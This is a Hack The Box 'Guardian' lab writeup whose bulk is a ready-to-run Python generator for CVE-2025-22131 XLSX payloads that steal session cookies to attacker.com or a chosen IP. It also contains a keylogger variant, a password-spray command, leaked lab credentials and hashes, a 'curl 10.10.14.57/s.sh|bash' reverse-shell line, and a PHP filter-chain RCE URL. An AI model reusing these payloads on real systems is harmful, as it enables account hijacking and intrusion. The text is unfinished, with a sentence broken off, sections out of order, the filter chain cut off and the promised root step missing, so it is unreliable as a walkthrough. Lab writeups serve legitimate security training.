writeup 2025-11-30 · 20 min read

Hack The Box Guardian Writeup (Hard Linux)

Hard Linux box. A default password opens the student portal, an IDOR leaks Gitea creds, a PhpSpreadsheet XSS steals a lecturer session, and sudo gives root.

Hack The Box Guardian Writeup (Hard Linux)

Summary

Guardian is a Hard Linux machine that starts at portal.guardian.htb, where the instructions PDF the portal hands out gives away the default password GU1234 and one of the emails listed on the home page still uses it. Inside the portal an IDOR on the chat ID exposes a conversation where the admin passes jamil.enockson their Gitea credentials, and Gitea holds the portal source code. That source is running a PhpSpreadsheet version vulnerable to CVE-2025-22131, so an XLSX with an XSS payload in a sheet name, submitted as an assignment, exfiltrates a lecturer’s session cookie, and a PHP filter chain on admin/reports.php turns the file read into remote code execution. Two hashes dumped from the database crack, and one of them is the local password of jamil (copperhouse56). jamil belongs to the admins group and may run /opt/scripts/utilities/utilities.py as mark, whose imported utils/status.py is group writable, which yields a shell as mark. mark can run safeapache2ctl as root, so an Apache config that loads a shared object with a constructor sets the SUID bit on /bin/bash.

Web Server Enumeration

Web server directs me to “guardian.htb”. I add it to my /etc/hosts file:

1
10.129.22.5 guardian.htb

The website’s main page shows some users. It also mentions a “student portal”:

guardian.htb home page listing student names and pointing at the student portal

I save the names to “names.txt” just in case:

1
2
3
Boone Basden
Jamesy Currin
Stephenie Vernau

I also save the usernames to “usernames.txt”:

1
2
3
GU6262023
GU0142023
GU0702025

I add “portal.guardian.htb” to my /etc/hosts file:

1
10.129.22.5 portal.guardian.htb guardian.htb

portal.guardian.htb

When I access the portal, it prompts me to download a pdf file with instructions:

Instructions PDF from the student portal stating the default password GU1234

It talks a lot about “keeping credentials secure”. It also says that there’s this default password of:

1
GU1234

Using one of the emails from the homepage, I’m able to log in to the student portal using the default password:

Student portal login accepted for a home page email using the default password

And now I have access to the portal:

Student portal dashboard after logging in with the default credentials

IDOR

I can access other user’s chats by simply changing the ID on top. In the example, I can see the chat between user ID 1 (admin) and user ID 4 (valentijn.temby) even though I’m logged in to a completely different account:

Chat between user ID 1 (admin) and user ID 4 opened from an unrelated account

The admin talks to a user (user ID 2, jamil.enockson) about their credentials to gitea:

Admin chat message handing jamil.enockson the Gitea username and password

New Credentials:

1
2
3
Platform: Gitea
Username: jamil.enockson@guardian.htb
Password: DHsNnk3V503

Password Spraying

I used ffuf to perform a password spray agaisnt all users:

1
ffuf -u http://portal.guardian.htb/login.php --data 'username=FUZZ&password=GU1234' -w ../usernames.txt -fw 986 -H "Content-Type: application/x-www-form-urlencoded"

Only valid user with this password is myself:

1
GU0142023

I also tried with the password found before but no user uses this password:

1
DHsNnk3V503

gitea.guardian.htb

I’m able to log in to gitea using the credentials acquired before:

Gitea logged in as jamil.enockson with the credentials found in the chat

Source Code analysis

I can read source code for the portal app. Multiple vulnerabilities are found, including a library vulnerable to XSS (https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx) and other CSRF vulnerability where I can send a malicious html page to the admin, and since the anti CSRF token system is broken, I can actually induce the admin to create a new account to the application with credentials I control that has administrative access.

First I use a python poc script to generate a malicious xlsx file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
#!/usr/bin/env python3
"""
CVE-2025-22131 Proof of Concept
---------------------------------
Demonstrates XSS vulnerability in PhpSpreadsheet's generateNavigation() function.

DISCLAIMER: This script is for educational and security research purposes only.
Only use this on systems you own or have explicit permission to test.

Vulnerability: Sheet names in XLSX files are not sanitized when converted to HTML,
allowing XSS attacks through malicious sheet names.

Affected versions:
- PhpSpreadsheet 1.x < 1.29.8
- PhpSpreadsheet 2.0.0 - 2.1.6
- PhpSpreadsheet 2.2.0 - 2.3.5
- PhpSpreadsheet 3.0.0 - 3.7.0

Patched versions: 1.29.8, 2.1.7, 2.3.6, 3.8.0
"""

import openpyxl
from openpyxl import Workbook
import sys
import os
import re


def string_to_char_codes(text):
    """
    Convert a string to JavaScript String.fromCharCode() format.
  
    Args:
        text: String to convert
  
    Returns:
        Comma-separated character codes as string
    """
    return ','.join(str(ord(c)) for c in text)


def validate_ip_address(ip):
    """
    Validate if the provided string is a valid IP address.
  
    Args:
        ip: IP address string to validate
  
    Returns:
        True if valid, False otherwise
    """
    # IPv4 pattern
    ipv4_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
  
    if re.match(ipv4_pattern, ip):
        # Check each octet is 0-255
        octets = ip.split('.')
        return all(0 <= int(octet) <= 255 for octet in octets)
  
    return False


def create_dynamic_exfil_payload(target_ip, target_port=80, use_https=False):
    """
    Create a cookie exfiltration payload for a specific IP address.
  
    Args:
        target_ip: Target IP address to send cookies to
        target_port: Target port (default 80)
        use_https: Use https instead of http (default False for IP addresses)
  
    Returns:
        Complete XSS payload string with encoded IP
    """
    # Build the JavaScript code
    if target_port == 80:
        js_code = f"window.location='//{target_ip}?c='+document.cookie"
    else:
        js_code = f"window.location='//{target_ip}:{target_port}?c='+document.cookie"
  
    # Convert to character codes
    char_codes = string_to_char_codes(js_code)
  
    # Build the final payload
    payload = f'<img src=x onerror=eval(String.fromCharCode({char_codes}))>'
  
    return payload, js_code

def create_malicious_xlsx(output_file="malicious_poc.xlsx", payload=None):
    """
    Creates an XLSX file with XSS payload in sheet name.
  
    Args:
        output_file: Name of the output XLSX file
        payload: Custom XSS payload (optional)
    """
  
    # Default XSS payload - simple alert box
    if payload is None:
        payload = '<img src=x onerror=alert("CVE-2025-22131-XSS-PoC")>'
  
    print("[*] CVE-2025-22131 PoC - PhpSpreadsheet XSS Vulnerability")
    print("[*] Creating malicious XLSX file...")
  
    # Create a new workbook
    wb = Workbook()
  
    # Get the default sheet and add some content
    sheet1 = wb.active
    sheet1.title = "Normal Sheet"
    sheet1['A1'] = "This is a normal sheet"
    sheet1['A2'] = "CVE-2025-22131 PoC"
  
    # Create a second sheet with malicious name containing XSS payload
    # The vulnerability requires multiple sheets to trigger the navigation menu
    sheet2 = wb.create_sheet(title=payload)
    sheet2['A1'] = "Malicious sheet with XSS in name"
    sheet2['A2'] = "When converted to HTML by vulnerable PhpSpreadsheet, the XSS will execute"
  
    # Create a third sheet to ensure navigation menu is generated
    sheet3 = wb.create_sheet(title="Another Normal Sheet")
    sheet3['A1'] = "Another normal sheet"
  
    # Save the workbook
    wb.save(output_file)
  
    print(f"[+] Malicious XLSX file created: {output_file}")
    print(f"[+] XSS Payload in sheet name: {payload}")
    print("\n[*] Attack Vector:")
    print("    1. Upload this XLSX file to a vulnerable application")
    print("    2. Application uses PhpSpreadsheet to convert XLSX to HTML")
    print("    3. Victim views the generated HTML page")
    print("    4. XSS payload executes in victim's browser")
    print("\n[*] Vulnerable Code (PhpSpreadsheet):")
    print("    The generateNavigation() function does NOT sanitize sheet names:")
    print("    $html .= '<a href=\"#sheet' . $sheetId . '\">' . $sheet->getTitle() . '</a>';")
    print("\n[*] To test this vulnerability:")
    print("    1. Set up a PHP environment with vulnerable PhpSpreadsheet version")
    print("    2. Use the following PHP code to convert to HTML:")
    print("\n    <?php")
    print("    require 'vendor/autoload.php';")
    print(f"    $spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load('{output_file}');")
    print("    $writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);")
    print("    $writer->writeAllSheets();")
    print("    echo $writer->generateHTMLAll();")
    print("    ?>")
    print("\n[!] REMEDIATION:")
    print("    Update PhpSpreadsheet to patched versions:")
    print("    - Version 1.29.8 or later (for 1.x branch)")
    print("    - Version 2.1.7 or later (for 2.0.x - 2.1.x branch)")
    print("    - Version 2.3.6 or later (for 2.2.x - 2.3.x branch)")
    print("    - Version 3.8.0 or later (for 3.x branch)")
  
    return output_file


def create_cookie_stealer_poc(output_file="cookie_stealer_poc.xlsx"):
    r"""
    Creates an XLSX file with a more sophisticated XSS payload that attempts
    to exfiltrate cookies (for demonstration purposes).
  
    Note: Excel sheet names cannot contain: : \ / ? * [ ]
    So we use String.fromCharCode to build URLs dynamically.
    """
  
    # Cookie stealing payload using String.fromCharCode to avoid colons
    # This builds "https://attacker.com" character by character
    # h=104,t=116,t=116,p=112,s=115,colon=58,slash=47
    payload = '<img src=x onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,47,47,97,116,116,97,99,107,101,114,46,99,111,109,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>'
  
    print("\n[*] Creating cookie stealer PoC...")
    print("[!] WARNING: This is for demonstration only.")
    print("[*] Payload uses String.fromCharCode to bypass Excel character restrictions")
  
    return create_malicious_xlsx(output_file, payload)


def create_short_poc(output_file="short_poc.xlsx"):
    """
    Creates a PoC with a very short payload that stays under 31 characters.
    """
  
    # Short payload under 31 chars that shows document domain
    payload = '<img src=x onerror=alert(document.domain)>'
  
    print("\n[*] Creating short payload PoC (under 31 chars)...")
    print("[*] This will show the document's domain when executed")
  
    return create_malicious_xlsx(output_file, payload)


def create_keylogger_poc(output_file="keylogger_poc.xlsx"):
    """
    Creates a PoC that demonstrates keylogging capability.
    """
  
    # Keylogger payload - captures keypresses
    payload = '<img src=x onerror=document.onkeypress=e=>alert(e.key)>'
  
    print("\n[*] Creating keylogger PoC...")
    print("[*] This will show an alert for each key pressed")
  
    return create_malicious_xlsx(output_file, payload)


def create_custom_ip_exfil_poc():
    """
    Interactive function to create a custom cookie exfiltration PoC
    with user-specified IP address.
    """
    print("\n" + "="*70)
    print("Custom IP-Based Cookie Exfiltration PoC Creator")
    print("="*70)
  
    # Get IP address
    while True:
        target_ip = input("\n[?] Enter target IP address (e.g., 10.10.14.57): ").strip()
      
        if not target_ip:
            print("[!] IP address cannot be empty")
            continue
      
        if not validate_ip_address(target_ip):
            print(f"[!] Invalid IP address: {target_ip}")
            retry = input("[?] Try again? (y/n): ").strip().lower()
            if retry != 'y':
                return None
            continue
      
        break
  
    # Get port (optional)
    while True:
        port_input = input("[?] Enter target port (default: 80): ").strip()
      
        if not port_input:
            target_port = 80
            break
      
        try:
            target_port = int(port_input)
            if 1 <= target_port <= 65535:
                break
            else:
                print("[!] Port must be between 1 and 65535")
        except ValueError:
            print("[!] Invalid port number")
  
    # Generate payload
    print("\n[*] Generating payload...")
    payload, js_code = create_dynamic_exfil_payload(target_ip, target_port)
  
    print(f"[+] Target: {target_ip}:{target_port}")
    print(f"[+] JavaScript code: {js_code}")
    print(f"[+] Payload length: {len(payload)} characters")
  
    if len(payload) > 31:
        print("[!] Warning: Payload exceeds 31 characters (Excel will show warning)")
  
    # Create filename
    output_file = f"exploit_{target_ip.replace('.', '_')}_port{target_port}.xlsx"
  
    # Create the malicious XLSX
    print(f"\n[*] Creating {output_file}...")
  
    wb = Workbook()
  
    # Sheet 1 - Info
    sheet1 = wb.active
    sheet1.title = "Info"
    sheet1['A1'] = "CVE-2025-22131 Custom Cookie Exfiltration PoC"
    sheet1['A2'] = f"Target: {target_ip}:{target_port}"
    sheet1['A3'] = ""
    sheet1['A4'] = "Setup Instructions:"
    sheet1['A5'] = f"1. Start listener on {target_ip}:{target_port}"
    sheet1['A6'] = "   Example commands:"
    sheet1['A7'] = f"   - Python: sudo python3 -m http.server {target_port}"
    sheet1['A8'] = f"   - Netcat: sudo nc -lvnp {target_port}"
    sheet1['A9'] = f"   - PHP: sudo php -S 0.0.0.0:{target_port}"
    sheet1['A10'] = ""
    sheet1['A11'] = "2. Upload this XLSX to vulnerable application"
    sheet1['A12'] = "3. Wait for PhpSpreadsheet to convert to HTML"
    sheet1['A13'] = "4. When victim views HTML, check your listener!"
    sheet1['A14'] = ""
    sheet1['A15'] = f"Expected request: GET /?c=<cookies> HTTP/1.1"
  
    # Sheet 2 - Malicious payload
    try:
        sheet2 = wb.create_sheet(title=payload)
        sheet2['A1'] = "This sheet contains the XSS payload in its name"
        sheet2['A2'] = "When converted to HTML by vulnerable PhpSpreadsheet,"
        sheet2['A3'] = "the victim will be redirected to your server with their cookies"
    except Exception as e:
        print(f"[!] Error creating sheet with payload: {e}")
        print("[!] The payload might be too long or contain invalid characters")
        return None
  
    # Sheet 3 - Technical details
    sheet3 = wb.create_sheet(title="Technical Details")
    sheet3['A1'] = "Payload Details:"
    sheet3['A2'] = ""
    sheet3['A3'] = "Decoded JavaScript:"
    sheet3['A4'] = js_code
    sheet3['A5'] = ""
    sheet3['A6'] = "Encoded Payload (in sheet name):"
    sheet3['A7'] = payload[:100] + "..." if len(payload) > 100 else payload
    sheet3['A8'] = ""
    sheet3['A9'] = "How it works:"
    sheet3['A10'] = "1. PhpSpreadsheet's generateNavigation() doesn't sanitize sheet names"
    sheet3['A11'] = "2. Sheet name contains: <img src=x onerror=eval(String.fromCharCode(...))>"
    sheet3['A12'] = "3. String.fromCharCode rebuilds the JavaScript at runtime"
    sheet3['A13'] = "4. JavaScript redirects victim to attacker-controlled server"
    sheet3['A14'] = "5. Cookies are sent in URL parameter (?c=cookies)"
  
    # Save
    wb.save(output_file)
  
    print(f"[+] Created: {output_file}")
    print("\n" + "="*70)
    print("IMPORTANT: Setup your listener BEFORE using this file!")
    print("="*70)
    print(f"\nRecommended listener command:")
    print(f"  sudo python3 -m http.server {target_port}")
    print(f"\nAlternative (netcat):")
    print(f"  sudo nc -lvnp {target_port}")
    print("\nWhen XSS fires, you'll receive:")
    print(f"  GET /?c=<victim_cookies> HTTP/1.1")
    print(f"  Host: {target_ip}")
    print("="*70)
  
    return output_file


def main():
    print("="*70)
    print("CVE-2025-22131 PoC Generator")
    print("PhpSpreadsheet XSS Vulnerability in generateNavigation()")
    print("="*70)
    print("\n[!] ETHICAL USE ONLY - For security research and testing purposes")
    print("[!] Only use on systems you own or have permission to test\n")
  
    # Create basic PoC
    create_malicious_xlsx()
  
    print("\n" + "="*70)
    print("\n[*] Optional: Create additional PoC variants")
    print("    1. Basic alert PoC (already created)")
    print("    2. Cookie stealer PoC (hardcoded attacker.com)")
    print("    3. Short payload PoC (under 31 chars)")
    print("    4. Keylogger PoC (demonstration)")
    print("    5. Custom IP cookie exfiltration (RECOMMENDED)")
    print("    6. Custom payload")
    print("    7. Exit")
  
    choice = input("\nEnter choice (1-7): ").strip()
  
    if choice == "2":
        create_cookie_stealer_poc()
    elif choice == "3":
        create_short_poc()
    elif choice == "4":
        create_keylogger_poc()
    elif choice == "5":
        print("\n[*] Dynamic IP-based cookie exfiltration PoC creator")
        create_custom_ip_exfil_poc()
    elif choice == "6":
        custom_payload = input("Enter custom XSS payload: ").strip()
        if custom_payload:
            # Check for invalid characters
            invalid_chars = [':', '\\', '/', '?', '*', '[', ']']
            has_invalid = any(char in custom_payload for char in invalid_chars)
            if has_invalid:
                print(r"\n[!] Warning: Your payload contains characters not allowed in Excel sheet names: : \ / ? * [ ]")
                print("[!] The file may still be created but might not work as expected.")
                print("\n[*] Tip: Use String.fromCharCode() to encode forbidden characters")
                print("    Example: Instead of 'alert(1)', use:")
                print("    eval(String.fromCharCode(97,108,101,114,116,40,49,41))")
                proceed = input("\nProceed anyway? (y/n): ").strip().lower()
                if proceed != 'y':
                    print("[*] Cancelled.")
                    return
            create_malicious_xlsx("custom_poc.xlsx", custom_payload)
    elif choice == "7":
        print("\n[*] Exiting...")
    else:
        print("\n[*] Using basic PoC only")
  
    print("\n[*] PoC generation complete!")
    print("[*] Remember: Test responsibly and ethically!")


if __name__ == "__main__":
    try:
        # Check for command-line arguments
        if len(sys.argv) >= 2:
            # Quick mode: python3 poc.py <IP> [port]
            if sys.argv[1] in ['-h', '--help', 'help']:
                print("CVE-2025-22131 PoC Generator - Quick Usage")
                print("=" * 70)
                print("\nInteractive mode:")
                print("  python3 cve_2025_22131_poc.py")
                print("\nQuick IP-based exploit:")
                print("  python3 cve_2025_22131_poc.py <IP_ADDRESS> [PORT]")
                print("\nExamples:")
                print("  python3 cve_2025_22131_poc.py 10.10.14.57")
                print("  python3 cve_2025_22131_poc.py 192.168.1.100 8080")
                print("  python3 cve_2025_22131_poc.py 172.16.0.50 443")
                print("\n" + "=" * 70)
                sys.exit(0)
          
            target_ip = sys.argv[1]
            target_port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
          
            # Validate IP
            if not validate_ip_address(target_ip):
                print(f"[!] Error: Invalid IP address: {target_ip}")
                print("[*] Use: python3 cve_2025_22131_poc.py --help")
                sys.exit(1)
          
            # Validate port
            if not 1 <= target_port <= 65535:
                print(f"[!] Error: Invalid port: {target_port}")
                print("[*] Port must be between 1 and 65535")
                sys.exit(1)
          
            # Generate payload
            print("="*70)
            print("CVE-2025-22131 Quick IP-Based PoC Generator")
            print("="*70)
            print(f"\n[*] Target IP: {target_ip}")
            print(f"[*] Target Port: {target_port}")
            print("\n[*] Generating payload...")
          
            payload, js_code = create_dynamic_exfil_payload(target_ip, target_port)
          
            print(f"[+] JavaScript code: {js_code}")
            print(f"[+] Payload length: {len(payload)} characters")
          
            if len(payload) > 31:
                print("[!] Warning: Payload exceeds 31 characters (Excel will show warning)")
          
            # Create filename
            output_file = f"exploit_{target_ip.replace('.', '_')}_port{target_port}.xlsx"
          
            print(f"\n[*] Creating {output_file}...")
          
            # Create workbook
            wb = Workbook()
          
            # Sheet 1 - Info
            sheet1 = wb.active
            sheet1.title = "Info"
            sheet1['A1'] = "CVE-2025-22131 Cookie Exfiltration PoC"
            sheet1['A2'] = f"Target: {target_ip}:{target_port}"
            sheet1['A3'] = ""
            sheet1['A4'] = "IMPORTANT: Start listener FIRST!"
            sheet1['A5'] = f"  sudo python3 -m http.server {target_port}"
            sheet1['A6'] = ""
            sheet1['A7'] = "Expected HTTP request:"
            sheet1['A8'] = "  GET /?c=<victim_cookies> HTTP/1.1"
          
            # Sheet 2 - Malicious
            sheet2 = wb.create_sheet(title=payload)
            sheet2['A1'] = "XSS payload is in this sheet's name"
            sheet2['A2'] = "Redirects victim to your server with cookies"
          
            # Sheet 3 - Instructions
            sheet3 = wb.create_sheet(title="Instructions")
            sheet3['A1'] = "Attack Steps:"
            sheet3['A2'] = "1. Start HTTP listener on your machine"
            sheet3['A3'] = f"   sudo python3 -m http.server {target_port}"
            sheet3['A4'] = "2. Upload this XLSX to target application"
            sheet3['A5'] = "3. Wait for vulnerable PhpSpreadsheet conversion"
            sheet3['A6'] = "4. Victim views HTML -> cookies exfiltrated"
            sheet3['A7'] = ""
            sheet3['A8'] = "Decoded payload:"
            sheet3['A9'] = js_code
          
            wb.save(output_file)
          
            print(f"[+] File created: {output_file}")
            print("\n" + "="*70)
            print("SETUP YOUR LISTENER NOW!")
            print("="*70)
            print(f"\nRecommended command:")
            print(f"  sudo python3 -m http.server {target_port}")
            print("\nAlternative (netcat):")
            print(f"  sudo nc -lvnp {target_port}")
            print("\nWhen XSS fires, you'll see:")
            print(f"  GET /?c=<cookies> HTTP/1.1")
            print("="*70)
        else:
            # Interactive mode
            main()
    except KeyboardInterrupt:
        print("\n\n[!] Interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"\n[!] Error: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

I submit it as an assignment http://portal.guardian.htb/student/submission.php?assignment_id=15

And this allows me to receive the session cookie for a user with the lecturer role:

1
2
3
$ sudo python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.22.5 - - [30/Nov/2025 15:56:25] "GET /?c=PHPSESSID=hnbu7qk42kvghbtcn170pp3blp HTTP/1.1" 200 -

As lecurer I can create a

hash cracking

cracked two hashes from the database:

1
2
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000

one of them is actually the password for the local user jamil:

1
2
Username: jamil
Password: copperhouse56

local privilege escalation to mark

jamil is member of “admins”:

1
2
jamil@guardian:/opt/scripts/utilities$ id 
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)

jamil can run a python script as “mark”:

1
2
3
4
5
6
7
8
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

this python script imports a local library from “utils” named “status”:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

# file /opt/scripts/utilities/utilities.py

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status
# snip

I see that my group “admins” has write permissions over this “status.py” library:

1
2
3
4
5
6
7
8
jamil@guardian:/opt/scripts/utilities$ ls -la utils/
total 24
drwxrwsr-x 2 root root   4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins  287 Apr 19  2025 attachments.py
-rw-r----- 1 root admins  246 Jul 10 14:20 db.py
-rw-r----- 1 root admins  226 Apr 19  2025 logs.py
-rwxrwx--- 1 mark admins  253 Apr 26  2025 status.py

I modified “status.py” to include malicious python code:

1
2
3
import os

os.system('curl 10.10.14.57/s.sh|bash')

and I got a shell as “mark”.

rce

got rce using php filter gadgets bypassing a filter:

1
http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.IS